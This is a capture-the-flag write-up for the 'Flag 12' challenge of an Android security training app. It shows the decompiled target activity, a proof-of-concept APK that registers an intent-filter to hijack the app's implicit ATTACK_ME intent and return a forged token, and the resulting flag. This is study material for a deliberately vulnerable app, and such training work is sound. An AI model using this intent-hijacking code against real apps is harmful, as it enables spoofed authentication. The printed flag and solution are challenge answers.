Static Analysis

AndroidManifest.xml

Upon inspecting the Flag12Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag12Activity"  
	android:exported="true">

Since exported is set to true we can call this activity from our exploit apk, let’s review the code to see how can we get the flag

Flag12Activity Class

public class Flag12Activity extends AppCompactActivity {  
    public Flag12Activity() {  
        this.name = "Flag 12 - Careful intent conditions";  
        this.tag = "ImplicitIntent";  
        this.tagColor = R.color.red;  
        this.flag = "7fMhFI6jFIsxEigigrq3J4VQVhhj9PL1V8LbUriEMssqCIUTj/Ynrsn4fvVXZJle";  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        if (getIntent().getAction() == null) {  
            Toast.makeText(this, "Sending implicit intent to\nio.hextree.attacksurface.ATTACK_ME", 1).show();  
            Intent intent = new Intent("io.hextree.attacksurface.ATTACK_ME");  
            intent.addFlags(8);  
            try {  
                startActivityForResult(intent, 42);  
            } catch (RuntimeException e) {  
                e.printStackTrace();  
                Toast.makeText(this, "No app found to handle the intent\nio.hextree.attacksurface.ATTACK_ME", 1).show();  
                finish();  
            }  
        }  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity  
    protected void onActivityResult(int i, int i2, Intent intent) {  
        super.onActivityResult(i, i2, intent);  
        if (intent == null || getIntent() == null || !getIntent().getBooleanExtra("LOGIN", false)) {  
            return;  
        }  
        this.f.addTag("LOGIN");  
        if (intent.getIntExtra("token", -1) == 1094795585) {  
            this.f.addTag(1094795585);  
            success(this);  
        }  
    }  
}

Upon reviewing the code we see that when this class is called it sends an implicit intent to with io.hextree.attacksurface.ATTACK_ME action and this intent is started with startActivityForResult so it expects some results, in the onActivityResult function it expects two things:

  • getIntent().getBooleanExtra("LOGIN") to be true
  • intent.getIntExtra("token") to be equals 1094795585 So what’s the difference between those two, getIntent() points to the intent that started the activity in our example our POC APK while intent points to the intent that was sent in the results. Let’s create our POC

Creating POC

AndroidManifest.xml

The first thing we want to do is the set the exported option to true so other apps can call this activity Secondly we need to make this acitivity a default reciever for the io.hextree.attacksurface.ATTACK_ME action so when the target fires an implicit intent with this action it goes to our activity

<activity
	android:name=".Flag12"
	android:exported="true">
	<intent-filter>
		<action android:name="io.hextree.attacksurface.ATTACK_ME" />
 
		<category android:name="android.intent.category.DEFAULT" />
	</intent-filter>
</activity>

Flag12.java

Now we create an activity that recieves the intent and prints the extra called flag We also used the pivot utility that uses Flag5Activity as a pivot so we can call Flag10Activity as it’s not exported so we can’t call it directly

public class Flag12 extends AppCompatActivity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
 
        ///////////////////////////////////////////
        // If It Was Called From Outside The APK //
        ///////////////////////////////////////////
        if (getCallingActivity() != null) {
            Log.v("Flag12 - Debug", "Flag12 started for a result by: " + getCallingActivity().flattenToString());
            // -------- Sending the needed data to get the flag -------- //
            Intent result = new Intent();
            result.putExtra("token", 1094795585);
            // -------- Returning the result to the calling activity -------- //
            setResult(RESULT_OK, result);
            finish(); // Immediately finish and return the result.
            return;
        }
        ////////////////////////////////////////////
        // If We Opened The Activity From Our APK //
        ////////////////////////////////////////////
        setContentView(R.layout.activity_flag12);
        getSupportActionBar().setTitle("Flag 12");
 
        Button button = findViewById(R.id.button_flag12);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("Flag12 - Debug", "Attempting to get the flag");
                Intent attackIntent = new Intent();
                attackIntent.setComponent(new ComponentName("io.hextree.attacksurface",
                        "io.hextree.attacksurface.activities.Flag12Activity"));
				// Set the LOGIN extra to TRUE
                attackIntent.putExtra("LOGIN",true);
                startActivity(attackIntent);
            }
        });
    }
}

Flag

HXT{tricky-intent-condition-bjhs782}